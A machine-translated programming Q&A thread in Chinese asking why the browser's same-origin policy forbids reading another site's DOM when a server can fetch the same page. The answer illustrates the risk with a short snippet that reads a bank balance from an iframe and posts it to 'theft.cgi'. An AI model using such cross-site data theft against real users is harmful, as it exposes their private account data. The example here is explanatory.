我想在客户端而不是服务器端抓取页面。然而,同源政策阻止了我这样做。
我试图理解的是,为什么我不能只读访问另一个网站的DOM。
如果我可以通过将页面拉到服务器上并以任何方式访问它来获得相同的信息,这会给网站带来什么安全风险。
我只是想从一个页面上提取基本信息,比如:
document.title
如果我能做发球端,为什么不能做客户端呢?主要的区别是我不想支付的额外往返费用?
显然,用户的数据不应该是可访问的,这是显而易见的,我不需要关于这方面的信息。但以同样的方式,我可以使用获取页面的通用版本
file_get_contents
和解析DOM,我想做客户端。
不允许JavaScript确定…之间的区别的技术限制是什么。。。允许访问用户定义的数据与通用页面数据?
PHP可以做到。
为什么JavaScript不能?
限制是什么?
我不想一定要绕过它或破解它,但更好地理解目的,也许会发现它不适用于我的情况。。。页面刮擦客户端
相关
规避同源政策的方法
同源政策
服务器如何验证bookmarklet(链接中的javascript)?如何保持安全?
http://en.wikipedia.org/wiki/Representational_state_transfer#Central_principle
为什么我不能只读访问另一个站点的DOM
您的用户可以在任何给定的网站上访问的数据可能与您可以在该网站访问的数据不同。
由于用户可能通过包括IP地址在内的各种信息来识别,因此浏览器无法清除所有个人信息的数据。
过于简单的说明:
<iframe src="your bank" id="frame"></iframe>
<script>
var bank = document.getElementById('frame').contentDocument;
var stolen = bank.getElementById('account_balance').innerText;
ajax('theft.cgi', stolen);